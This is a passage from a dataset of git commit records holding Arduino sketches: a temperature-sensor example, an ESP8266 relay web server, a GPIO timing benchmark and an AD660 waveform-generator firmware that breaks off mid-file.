else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n celsius = (float)raw \/ 16.0;\n fahrenheit = celsius * 1.8 + 32.0;\n Serial.print(\" Temperature = \");\n Serial.print(celsius);\n Serial.print(\" Celsius, \");\n Serial.print(fahrenheit);\n Serial.println(\" Fahrenheit\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/DS18x20_Temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbcb1c6fd3dd52902a9d580b7f34f17c89ce906c","subject":"Create Garage_opener.ino","message":"Create Garage_opener.ino","repos":"flexdigit\/ESP8266","old_file":"Garage_opener.ino","new_file":"Garage_opener.ino","new_contents":"\/*\n * from\n * http:\/\/esp8266-server.de\/\n * \n * Webserver as Accesspoint for ESP8266\n * \n * Free for anyone!!! \n * \n *\/\n \n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n \nString html1 = \"<!DOCTYPE html>\\r\\n<html>\\r\\n\\\n<head>\\r\\n<meta content=\\\"text\/html; charset=ISO-8859-1\\\" http-equiv=\\\"content-type\\\">\\r\\n\\\n<title>WebSchalter<\/title>\\r\\n\\\n<form action=\\\"\";\n\/\/ String((val)?\"\/1.html\":\"\/0.html\")\nString html2 = \"\\\">\\r\\n<input value=\\\"ON\/OFF\\\" style=\\\"\";\nString html3 = \" width:15em;height:13em; font-size: 24px;\\\" type=\\\"submit\\\">\\\n<\/form>\\r\\n<\/head>\\r\\n<body>\\r\\n<\/body>\\r\\n<\/html>\";\n \nESP8266WebServer server(80); \/\/ Server Port hier einstellen\nint val = 1; \/\/Startzustand ausgeschaltet\nString Temp = \"\";\n \nvoid Ereignis_SchalteON() \/\/ Wird ausgefuehrt wenn \"http:\/\/<ip address>\/1.html\" aufgerufen wurde\n{\n val = 0; \/\/ Relais Aus\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_SchalteOFF() \/\/ Wird ausgefuehrt wenn \"http:\/\/<ip address>\/\/0.html\" aufgerufen wurde\n{\n val = 1; \/\/ Relais Ein\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_Index() \/\/ Wird ausgeuehrt wenn \"http:\/\/<ip address>\/\" aufgerufen wurde\n{\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid setup()\n{\n digitalWrite(0, 1); \/\/ Anfangszustand 1 (Relais ausgeschaltet)\n pinMode(0, OUTPUT); \/\/ GPIO0 als Ausgang konfigurieren\n pinMode(2, INPUT_PULLUP); \/\/ GPIO2 als Eingang mit Pullup konfigurieren\n digitalWrite(0, 1); \/\/ Anfangszustand 1 (Relais ausgeschaltet)\n \n Serial.begin(115200); \/\/ Serielle schnittstelle initialisieren\n Serial.println(\"\"); \/\/ Leere Zeile ausgeben\n Serial.println(\"Starte WLAN-Hotspot \\\"astral\\\"\");\n WiFi.mode(WIFI_AP); \/\/ access point modus\n WiFi.softAP(\"astral\", \"12345678\"); \/\/ Name des Wi-Fi netzes\n delay(500); \/\/Abwarten 0,5s\n Serial.print(\"IP Adresse \"); \/\/Ausgabe aktueller IP des Servers\n Serial.println(WiFi.softAPIP());\n \n \/\/ Bechandlung der Ereignissen anschlissen\n server.on(\"\/\", Ereignis_Index);\n server.on(\"\/1.html\", Ereignis_SchalteON);\n server.on(\"\/0.html\", Ereignis_SchalteOFF);\n \n server.begin(); \/\/ Starte den Server\n Serial.println(\"HTTP Server gestartet\");\n}\n \nvoid loop()\n{\n server.handleClient();\n\/\/ if (!digitalRead(2)) \/\/Wenn Taster an GPIO2 betetigt wurde\n\/\/ {\n\/\/ val = !val; \/\/ Schaltzuschtand andern\n\/\/ digitalWrite(0, val);\n\/\/ while (!digitalRead(2))server.handleClient(); \/\/ Warten bis der Taster losgelassen wird.\n\/\/ }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Garage_opener.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"514a4570bed93ca9aa74a5f3836505ce4fb6fb25","subject":"Adding GPIO measurement sketch for logic analyzer.","message":"Adding GPIO measurement sketch for logic analyzer.\n","repos":"dansut\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa","old_file":"examples\/Analyzer\/CosaAnalyzserGPIO\/CosaAnalizerGPIO.ino","new_file":"examples\/Analyzer\/CosaAnalyzserGPIO\/CosaAnalizerGPIO.ino","new_contents":"\/**\n * @file CosaAnalyzerGPIO.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Logic Analyzer Cosa GPIO; trigger on rising edge transition\n * on ledPin. Measurement values are for Arduino Uno\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/GPIO.hh\"\n\nGPIO outPin(Board::D8, GPIO::OUTPUT_MODE);\nGPIO dataPin(Board::D9, GPIO::OUTPUT_MODE);\nGPIO clockPin(Board::D10, GPIO::OUTPUT_MODE);\nGPIO ledPin(Board::LED, GPIO::OUTPUT_MODE);\nuint8_t data = 0x55;\n\nvoid setup()\n{\n \/\/ Initial pin state\n outPin = 0;\n dataPin = 0;\n clockPin = 0;\n ledPin = 0;\n\n \/\/ Allow some time to start logic analyzer trigger\n sleep(2);\n\n \/\/ Trigger sampling\n ~ledPin;\n DELAY(50);\n ~ledPin;\n DELAY(50);\n}\n\nvoid loop()\n{\n \/\/ Measure overhead in test case marker;\n \/\/ 0.5 us\n ~ledPin;\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure four pulses using assignment operator;\n \/\/ 4.5 us (1 us per pulse)\n ~ledPin;\n outPin = 1;\n outPin = 0;\n outPin = 1;\n outPin = 0;\n outPin = 1;\n outPin = 0;\n outPin = 1;\n outPin = 0;\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure four pulses using toggle operator;\n \/\/ 4.5 us (1 us per pulse)\n ~ledPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~outPin;\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using assignment operator;\n \/\/ 23.375 us (2.86 us per bit)\n ~ledPin;\n for(uint8_t bit = 0x80; bit != 0; bit >>= 1) {\n dataPin = (data & bit);\n clockPin = 1;\n clockPin = 0;\n }\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using assignment operator\n \/\/ and toggle operator;\n \/\/ 21.875 us (2.67 us per bit)\n ~ledPin;\n for(uint8_t bit = 0x80; bit != 0; bit >>= 1) {\n dataPin = (data & bit);\n ~clockPin;\n ~clockPin;\n }\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using assignment operator\n \/\/ and toggle operator fully unrolled\n \/\/ 19.208 us (2.33 us per bit)\n ~ledPin;\n dataPin = (data & 0x80);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x40);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x20);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x10);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x08);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x04);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x02);\n ~clockPin;\n ~clockPin;\n dataPin = (data & 0x01);\n ~clockPin;\n ~clockPin;\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure four pulses using static write member function;\n \/\/ 1.5 us (250 ns per pulse)\n ~ledPin;\n GPIO::write(Board::D8, 1);\n GPIO::write(Board::D8, 0);\n GPIO::write(Board::D8, 1);\n GPIO::write(Board::D8, 0);\n GPIO::write(Board::D8, 1);\n GPIO::write(Board::D8, 0);\n GPIO::write(Board::D8, 1);\n GPIO::write(Board::D8, 0);\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure four pulses using static toggle member function\n \/\/ 1.0 us (125 ns per pulse)\n ~ledPin;\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n GPIO::toggle(Board::D8);\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using static write\n \/\/ member function\n \/\/ 10.875 us (1.29 us per bit)\n ~ledPin;\n for(uint8_t bit = 0x80; bit != 0; bit >>= 1) {\n GPIO::write(Board::D9, data & bit);\n GPIO::write(Board::D10, 1);\n GPIO::write(Board::D10, 0);\n }\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using static write\n \/\/ and toggle member functions\n \/\/ 9.875 us (1.17 us per bit)\n ~ledPin;\n for(uint8_t bit = 0x80; bit != 0; bit >>= 1) {\n GPIO::write(Board::D9, data & bit);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n }\n ~ledPin;\n DELAY(10);\n\n \/\/ Measure clocked serial transfer of a byte using static write\n \/\/ and toggle member functions fully unrolled\n \/\/ 7.167 us (0.83 us per bit)\n ~ledPin;\n GPIO::write(Board::D9, data & 0x80);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x40);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x20);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x10);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x08);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x04);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x02);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n GPIO::write(Board::D9, data & 0x01);\n GPIO::toggle(Board::D10);\n GPIO::toggle(Board::D10);\n ~ledPin;\n\n \/\/ Rotate data to avoid compiler optimization of data\n data = (data << 1) | ((data & 0x01) == 0);\n sleep(1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Analyzer\/CosaAnalyzserGPIO\/CosaAnalizerGPIO.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"63da482abb171af9505096b52f02bd9c2a4edc20","subject":"Update MCUBE3610demo.ino","message":"Update MCUBE3610demo.ino","repos":"mcubemems\/Accelerometer_MC3610","old_file":"examples\/MCUBE3610demo\/MCUBE3610demo\/MCUBE3610demo.ino","new_file":"examples\/MCUBE3610demo\/MCUBE3610demo\/MCUBE3610demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcubemems\/Accelerometer_MC3610.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"cb8cc7be756a0c2752a4067664446fba567b18a1","subject":"Firmware for Adruino-based function generator.","message":"Firmware for Adruino-based function generator.\n\nCurcuit design and Micro-Manager interface to be added in the future.\n\ngit-svn-id: 03a8048b5ee8463be5048a3801110fb50f378627@11787 d0ab736e-dc22-4aeb-8dc9-08def0aa14fd\n","repos":"kmdouglass\/Micro-Manager,kmdouglass\/Micro-Manager","old_file":"sandbox\/arduino_due_function_generator\/ad660_func_gen.ino","new_file":"sandbox\/arduino_due_function_generator\/ad660_func_gen.ino","new_contents":"\/\/ Arduino Due waveform generator using AD660\n\/\/ Copyright 2013 University of California, San Francisco\n\/\/ Author: Mark Tsuchida\n\n\/\/\n\/\/ Introduction\n\/\/\n\n\/\/ Most of the code below is written directly against Atmel and ARM's API, as\n\/\/ opposed to the Arduino library. This is because the Arduino library, in\n\/\/ wrapping and simplifying the vendor APIs, makes it impossible to allow the\n\/\/ microcontroller to handle multiple tasks at the same time (in particular,\n\/\/ most of the Arduino API I\/O calls block, and the interrupt handling is very\n\/\/ limited).\n\/\/\n\/\/ This unfortunately means that this code is tied to a specific\n\/\/ microcontroller (the SAM3X8E that comes on the Due), although care has been\n\/\/ taken to keep it easy to adapt to related microcontrollers (especially other\n\/\/ models in the SAM3X series).\n\/\/\n\/\/ To read or modify this code, you will need to know (at least) about\n\/\/ - C and Arduino programming,\n\/\/ - The basics of microcontroller programming (registers, memory addressing,\n\/\/ I\/O, etc.),\n\/\/ - How interrupts work and how they are used for time-critical control,\n\/\/ - How SPI works,\n\/\/ - The AD660's SPI-compatible digital interface,\n\/\/ - The details of the SAM3X8E as described on Atmel's SAM3X\/A datasheet:\n\/\/ especially, but not limited to,\n\/\/ * the interrupt controller (Section 12.20),\n\/\/ * SPI (Chapter 33), and\n\/\/ * Timer Counter (TC; Chapter 37).\n\/\/ - The ARM CMSIS API (a common interface to ARM Cortex microcontroller\n\/\/ peripherals), and\n\/\/ - The Atmel SAM libraries shipped with the Arduino IDE.\n\/\/\n\/\/ CMSIS documentation can be found in the\n\/\/ hardware\/arduino\/sam\/system\/CMSIS\/CMSIS\/Documentation directory in the\n\/\/ Arduino IDE distribution (inside Arduino.app\/Contents\/Resources\/Java on\n\/\/ OS X); details are best discovered from the headers in\n\/\/ hardware\/arduino\/sam\/system\/CMSIS\/Device\/ATMEL\/sam3xa\/include.\n\/\/\n\/\/ The Atmel SAM libraries, which provide utility macros and functions for the\n\/\/ SAM peripherals, is in hardware\/arduino\/sam\/system\/libsam. The best\n\/\/ documentation is the code itself (and the comments). The API of this \"SAM\n\/\/ Software Package\" shipped with the Arduino IDE resembles but differs from\n\/\/ that of the Atmel Software Framework (ASF).\n\n\n\/\/\n\/\/ Design\n\/\/\n\n\/\/ The goal here is to send sampled (i.e. precomputed and stored) waveforms to\n\/\/ 2 (or more) SPI daisy-chained AD660s. The waveforms will be uploaded from\n\/\/ the computer. We also want to be able to respond to commands from the\n\/\/ computer to start, stop, or switch waveforms.\n\/\/\n\/\/ In order to accurately generate the waveforms, we perform the SPI\n\/\/ transmission to the AD660s in interrupt service routines. We use a periodic\n\/\/ timer interrupt to kick off the transmission of the channel 0 sample, and we\n\/\/ use an interrupt indicating the completion of SPI transmission to kick off\n\/\/ the transmission of the channel 1 sample (and so on, if there are more than\n\/\/ 2 channels, i.e. more than two DACs). The samples for all channels are sent\n\/\/ in a single SPI transmission (chip select assertion), so that all DACs will\n\/\/ load their samples at the same moment. This way, the ISRs (interrupt service\n\/\/ routines) are restricted to doing minimal work, and the MCU is free to\n\/\/ communicate with the computer over the serial port (and such communication\n\/\/ code can be written in a blocking fashion using the Arduino library).\n\/\/\n\/\/ (If we had many DAC channels, it would have made sense to use the DMA\n\/\/ controller for SPI output.)\n\/\/\n\/\/ To enable switching between waveforms, we introduce the concept of a\n\/\/ waveform bank (see struct WaveformBank), which specifies the waveform for\n\/\/ each channel (a per-channel starting offset is also included, so that the\n\/\/ same waveform table can be shared among channels whose output is to differ\n\/\/ only in phase). The current bank can be switched at any time, and the output\n\/\/ will switch to the new bank starting at the next timer interrupt.\n\/\/\n\/\/\n\/\/ Coding assumptions:\n\/\/ - Timer (TC) interrupts and SPI TDRE interrupts do not coincide (this is\n\/\/ true as long as the sampling frequency is not too high).\n\/\/\n\/\/\n\/\/ Limitations:\n\/\/ - There is no protection against the heap and stack running into each other.\n\/\/ Currently, this can result in the waveforms becoming corrupted.\n\/\/ - The Due only has 96 KB of RAM, which can quickly become limiting if more\n\/\/ than a handful of waveforms are required. If that becomes an issue, it\n\/\/ might make sense to read waveforms from an SD card via SPI. The SPI\n\/\/ interface of an SD (MMC) card can be clocked at 25 MHz, so it is probably\n\/\/ fast enough for may applications.\n\n\n\/\/\n\/\/ Serial communication protocol\n\/\/\n\n\/\/ Commands are terminated with LF\n\/\/\n\/\/ ID - identify the device\n\/\/ ID\\n\n\/\/ -> OK18569\\n\n\/\/\n\/\/ DM - set waveform length, number of banks, and number of tables\n\/\/ DM512,8,4\\n (error if generating waveform)\n\/\/\n\/\/ FQ - set sampling frequency\n\/\/ FQ1000\\n (1 kHz)\n\/\/\n\/\/ LW - load waveform into table\n\/\/ LW0\\n\n\/\/ -> EX1024\\n\n\/\/ <- 1024 bytes (512 little-endian samples)\n\/\/ -> OK\\n\n\/\/\n\/\/ AW - assign waveform\n\/\/ AW2,0,1\\n (use waveform in table 2 for bank 0, channel 1)\n\/\/\n\/\/ PH - set phase offset\n\/\/ PH0,127\\n (channel 0 starts at sample 127)\n\/\/\n\/\/ SB - switch bank\n\/\/ SB2\\n (switch to bank 2)\n\/\/\n\/\/ RN - start generating waveform\n\/\/ RN\\n\n\/\/\n\/\/ HL - halt waveform generation\n\/\/ HL\\n\n\/\/\n\/\/ MV - set absolute DAC value on channel\n\/\/ MV0,32767\\n (error if generating waveform)\n\/\/\n\/\/ WH - query DAC value on channel\n\/\/ WH0\\n (error if generating waveform)\n\/\/\n\/\/\n\/\/ Replies are also termianted with LF\n\/\/ Host should not send next command before receiving complete reply\n\/\/\n\/\/ OK\\n\n\/\/ OK128\\n (response to a query)\n\/\/ EX512\\n (expecting 512 bytes of binary data)\n\/\/ ER12\\n (error code 12)\n\n\n\/\/\n\/\/ Error codes\n\/\/\n\/\/ TODO Put these in a header that can be included from host code, too.\n\/\/ TODO Rename with different prefix.\nenum {\n ERR_OK,\n ERR_BAD_ALLOC,\n ERR_BAD_CMD,\n ERR_BAD_PARAMS,\n ERR_TOO_FEW_PARAMS,\n ERR_CMD_TOO_LONG,\n ERR_EXPECTED_UINT,\n ERR_FREQ_OUT_OF_RANGE,\n ERR_INVALID_BANK,\n ERR_INVALID_CHANNEL,\n ERR_INVALID_PHASE_OFFSET,\n ERR_INVALID_SAMPLE_VALUE,\n ERR_INVALID_TABLE,\n ERR_OVERFLOW,\n ERR_TIMEOUT,\n ERR_NO_WAVEFORM,\n ERR_BUSY,\n};\n\n\n\/\/\n\/\/ Hardware configuration\n\/\/\n\n\/\/ Which TC to use.\n\/\/ Note that what Atmel calls TC1, channel 0 is referred to as TC3 in CMSIS\n#define ID_TC_SAMPLER ID_TC3\nTc *const TC_SAMPLER = TC1;\n#define TC_SAMPLER_CHANNEL 0\nconst IRQn_Type TC_SAMPLER_IRQn = TC3_IRQn;\n#define TC_Sampler_Handler TC3_Handler\n\n\/\/ TC clock frequency\n#define TC_SAMPLER_TIMER_CLOCK TC_CMR_TCCLKS_TIMER_CLOCK3\n#define TC_SAMPLER_MCK_DIVIDER 32 \/\/ for TIMER_CLOCK3\n#define TC_SAMPLER_TICK_FREQ (VARIANT_MCK \/ TC_SAMPLER_MCK_DIVIDER)\n#define MIN_SAMPLE_FREQ (1 + TC_SAMPLER_TICK_FREQ \/ UINT16_MAX)\n#define MAX_SAMPLE_FREQ TC_SAMPLER_TICK_FREQ\n\n\/\/ Which SPI peripheral to use\n#define ID_SPI_DAC ID_SPI0\nSpi *const SPI_DAC = SPI0;\nconst IRQn_Type SPI_DAC_IRQn = SPI0_IRQn;\n#define SPI_DAC_Handler SPI0_Handler\n\n\/\/ SPI peripheral chip select (slave select) line\nconst uint32_t SPI_DAC_NPCS = 0; \/\/ This is PA28, which is Arduino board pin 10\n\n\/\/ Number of daisy-chained DACs\nconst int NUM_CHANNELS = 2;\n\n\n\/\/\n\/\/ Other constants\n\/\/\n\n#define SERIAL_MAGIC_ID 18569\n#define MAX_CMD_LEN 32\n\n\n\/\/\n\/\/ Waveform data and state\n\/\/\n\n\/\/ Static descriptions of the waveforms for each channel\nstruct WaveformBank {\n \/\/ Pointer to the start of the waveform table, for each channel (channels may\n \/\/ share the same table)\n uint16_t *channel_waveform[NUM_CHANNELS];\n\n \/\/ Starting offset (phase) into the table, for each channel\n \/\/ (The actual array is stored outside of this struct, since in many cases it\n \/\/ will be shared between many (if not all) banks.)\n size_t *channel_offset;\n};\n\n\/\/ We use a fixed length for waveform tables; the length may only be changed\n\/\/ when waveform generation is paused. This makes it easy to switch between\n\/\/ waveform banks at any time during the scanning, without large disruptions in\n\/\/ the output (if the waveforms from the two banks are phase-matched).\nsize_t g_waveform_length = 0;\n\nuint8_t g_n_banks = 0;\nuint8_t g_n_tables = 0;\n\nstruct WaveformBank *g_banks = NULL;\nuint16_t *g_tables = NULL;\n\ninline uint16_t *waveform_table(uint8_t index) {\n return g_tables + (index * g_waveform_length);\n}\n\n\/\/ For now, we have one global setting for per-channel starting sample indices.\n\/\/ We could conceivably extend this to allow multiple offset lists.\nsize_t g_channel_offset[NUM_CHANNELS];\n\n\/\/ The current waveform bank. Flip this pointer to switch between banks. IRQ\n\/\/ for the TC must be disabled while writing to this pointer (so use\n\/\/ set_bank()). The TC ISR reads but does not modify this pointer. Other ISRs\n\/\/ do not access this pointer.\nstruct WaveformBank *volatile g_current_bank;\ninline void set_bank(struct WaveformBank *new_bank) {\n NVIC_DisableIRQ(TC_SAMPLER_IRQn);\n g_current_bank = new_bank;\n NVIC_EnableIRQ(TC_SAMPLER_IRQn);\n}\n\n\/\/ The bank used for the current iteration through the samples. This gets\n\/\/ updated from g_current_bank before sending channel 0 (so that we do not mix\n\/\/ channel samples from different banks). Accessed only from ISRs.\nstruct WaveformBank *g_current_sample_bank = NULL;\n\n\/\/ The index of the current or next sample (0 through g_waveform_length - 1)\nsize_t g_sample_index = 0;\n\n\/\/ The next channel whose sample should be sent over SPI. The value is in the\n\/\/ range 0 to NUM_CHANNELS (inclusive); the value is NUM_CHANNELS while sending\n\/\/ the sample value for the last channel and 0 while waiting for the next timer\n\/\/ interrupt.\nvolatile uint8_t g_next_channel = 0;\n\nbool g_tc_sampler_active = false;\n\n\/\/ State for single-value setting (g_next_channel is shared with waveform\n\/\/ generation).\nvolatile uint8_t g_sending_adhoc_sample = false;\nuint16_t g_adhoc_sample[NUM_CHANNELS];\n\n\/\/ The last set values for each DAC channel\nvolatile uint16_t g_last_sample[NUM_CHANNELS];\ninline uint16_t get_last_sample(size_t channel) {\n __disable_irq();\n uint16_t s = g_last_sample[channel];\n __enable_irq();\n return s;\n}\n\n\n\/\/\n\/\/ Memory management\n\/\/\n\n\/\/ To avoid heap fragmentation, we allocate in one step the memory for waveform\n\/\/ tables and banks.\nbool reset_waveform_data(size_t waveform_length, uint8_t n_banks, uint8_t n_tables) {\n if (g_tables) {\n free(g_tables);\n }\n if (g_banks) {\n free(g_banks);\n }\n g_current_bank = 0;\n g_banks = NULL;\n g_tables = NULL;\n g_waveform_length = 0;\n g_n_banks = 0;\n g_n_tables = 0;\n\n if (!waveform_length) {\n return true;\n }\n\n \/\/ Put the banks in lower memory, where there is lower risk of corruption due\n \/\/ to clashing with the stack\n if (n_banks) {\n g_banks = (struct WaveformBank *)calloc(n_banks, sizeof(struct WaveformBank));\n if (!g_banks) {\n return false;\n }\n }\n if (n_tables) {\n g_tables = (uint16_t *)calloc(n_tables * g_waveform_length, sizeof(uint16_t));\n if (!g_tables) {\n free(g_banks);\n return false;\n }\n }\n\n g_current_bank = g_banks;\n\n g_waveform_length = waveform_length;\n g_n_banks = n_banks;\n g_n_tables = n_tables;\n\n \/\/ Set default values for banks.\n for (size_t i = 0; i < n_banks; i++) {\n if (n_tables > 0) {\n for (size_t ch = 0; ch < NUM_CHANNELS; ch++) {\n g_banks[i].channel_waveform[ch] = waveform_table(0);\n }\n }\n g_banks[i].channel_offset = g_channel_offset;\n }\n\n return true;\n}\n\n\n\/\/\n\/\/ Peripheral setup\n\/\/\n\nvoid setup_spi_dac() {\n \/\/ Assign the relevant pins to the SPI controller\n uint32_t spi0_pins =\n PIO_ABSR_P25 | \/\/ SPI0_MISO\n PIO_ABSR_P26 | \/\/ SPI0_MOSI\n PIO_ABSR_P27 | \/\/ SPI0_SPCK\n PIO_ABSR_P28 | \/\/ SPI0_NPCS0\n PIO_ABSR_P29 | \/\/ SPI0_NPCS1\n PIO_ABSR_P30 | \/\/ SPI0_NPCS2\n PIO_ABSR_P31; \/\/ SPI0_NPCS3\n PIO_Configure(PIOA, PIO_PERIPH_A, spi0_pins, PIO_DEFAULT);\n\n SPI_Configure(SPI_DAC, ID_SPI_DAC, SPI_MR_MSTR | SPI_MR_PS);\n SPI_Enable(SPI_DAC);\n \n SPI_ConfigureNPCS(SPI_DAC, SPI_DAC_NPCS,\n SPI_CSR_CPOL | (SPI_CSR_NCPHA & 0) | \/\/ SPI Mode 3\n SPI_DLYBCT(0, VARIANT_MCK) | SPI_DLYBS(60, VARIANT_MCK) |\n SPI_SCBR(8400000, VARIANT_MCK) | SPI_CSR_CSAAT | SPI_CSR_BITS_16_BIT);\n\n SPI_DAC->SPI_IDR = ~SPI_IDR_TDRE;\n SPI_DAC->SPI_IER = SPI_IER_TDRE;\n \n \/\/ We do not enable the IRQ line itself; we only want TDRE interrupts when\n \/\/ we are actully sending someting words.\n}\n\n\nvoid setup_tc_sampler() {\n \/\/ Turn on power for the TC\n pmc_enable_periph_clk(ID_TC_SAMPLER);\n\n \/\/ Set the TC to count up to the value of RC (TC register C), and generate RC\n \/\/ compare interrupts.\n\n TC_Configure(TC_SAMPLER, TC_SAMPLER_CHANNEL,\n TC_CMR_WAVE | TC_CMR_WAVSEL_UP_RC | TC_SAMPLER_TIMER_CLOCK);\n\n TC_SAMPLER->TC_CHANNEL[TC_SAMPLER_CHANNEL].TC_IDR = ~TC_IDR_CPCS;\n TC_SAMPLER->TC_CHANNEL[TC_SAMPLER_CHANNEL].TC_IER = TC_IER_CPCS;\n\n \/\/ Default to the lowest possible sample rate\n TC_SetRC(TC_SAMPLER, TC_SAMPLER_CHANNEL, 0xFFFF);\n}\n\n\nvoid start_tc_sampler() {\n g_tc_sampler_active = true;\n NVIC_ClearPendingIRQ(TC_SAMPLER_IRQn);\n TC_Start(TC_SAMPLER, TC_SAMPLER_CHANNEL);\n NVIC_EnableIRQ(TC_SAMPLER_IRQn);\n}\n\n\nvoid stop_tc_sampler() {\n NVIC_DisableIRQ(TC_SAMPLER_IRQn);\n TC_Stop(TC_SAMPLER, TC_SAMPLER_CHANNEL);\n g_tc_sampler_active = false;\n}\n\n\nvoid set_tc_sampler_freq(uint32_t freq) {\n uint32_t tick_count = TC_SAMPLER_TICK_FREQ \/ freq;\n\n bool tc_active = g_tc_sampler_active;\n if (tc_active) {\n stop_tc_sampler();\n }\n TC_SetRC(TC_SAMPLER, TC_SAMPLER_CHANNEL, tick_count);\n if (tc_active) {\n start_tc_sampler();\n }\n}\n\n\n\/\/ Send the sample for the next channel, and increment the next-channel index.\n\/\/ May be called from ISRs\nvoid send_channel_sample() {\n uint16_t sample;\n if (g_sending_adhoc_sample) {\n sample = g_adhoc_sample[g_next_channel];\n }\n else {\n uint16_t *waveform = g_current_sample_bank->channel_waveform[g_next_channel];\n size_t offset = g_current_sample_bank->channel_offset[g_next_channel];\n\n size_t index = offset + g_sample_index;\n if (index >= g_waveform_length) {\n index -= g_waveform_length;\n }\n\n sample = waveform[index];\n }\n\n g_last_sample[g_next_channel] = sample;\n\n uint32_t td = sample | SPI_PCS(SPI_DAC_NPCS);\n if (++g_next_channel == NUM_CHANNELS) {\n td |= SPI_TDR_LASTXFER;\n }\n\n SPI_DAC->SPI_TDR = td;\n NVIC_EnableIRQ(SPI_DAC_IRQn);\n}\n\n\n\/\/\n\/\/ Interrupt service routines for SPI transmission\n\/\/\n\n\/\/ On the timer interrupt, we determine the current waveform bank and start\n\/\/ sending the sample for channel 0.\nvoid TC_Sampler_Handler() {\n \/\/ Access the TC to deassert the IRQ\n TC_GetStatus(TC_SAMPLER, TC_SAMPLER_CHANNEL);\n\n g_current_sample_bank = g_current_bank;\n g_next_channel = 0;\n\n send_channel_sample();\n}\n\n\n\/\/ Since we have enabled the SPI IRQ for TDRE (transmit data register empty),\n\/\/ this ISR gets called every time we finish sending a word (sample).\n\/\/ If we have not finished, we send the sample for the next channel. If we have\n\/\/ finished with all channels, we reset the channel counter and increment the\n\/\/ sample index.\nvoid SPI_DAC_Handler() {\n NVIC_DisableIRQ(SPI_DAC_IRQn);\n \n if (g_next_channel == 0) {\n \/\/ We shouldn't be here for the 0th channel: this is spurious.\n \/\/ XXX Do we need this check? It should be a programming 